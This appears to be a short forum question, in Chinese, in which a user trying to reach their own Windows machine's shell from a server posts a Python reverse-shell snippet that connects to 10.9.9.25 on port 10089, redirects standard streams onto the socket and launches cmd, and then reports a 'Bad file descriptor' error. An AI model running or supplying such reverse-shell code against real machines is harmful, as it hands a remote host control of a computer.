我想在我的服务器上获取我的Windows shell,我使用以下代码.
import socket,os,subprocess
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('10.9.9.25',10089))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['cmd','/u']);
Run Code Online (Sandbox Code Playgroud)
我收到了错误
OSError: [Errno 9] Bad file descriptor.
Run Code Online (Sandbox Code Playgroud)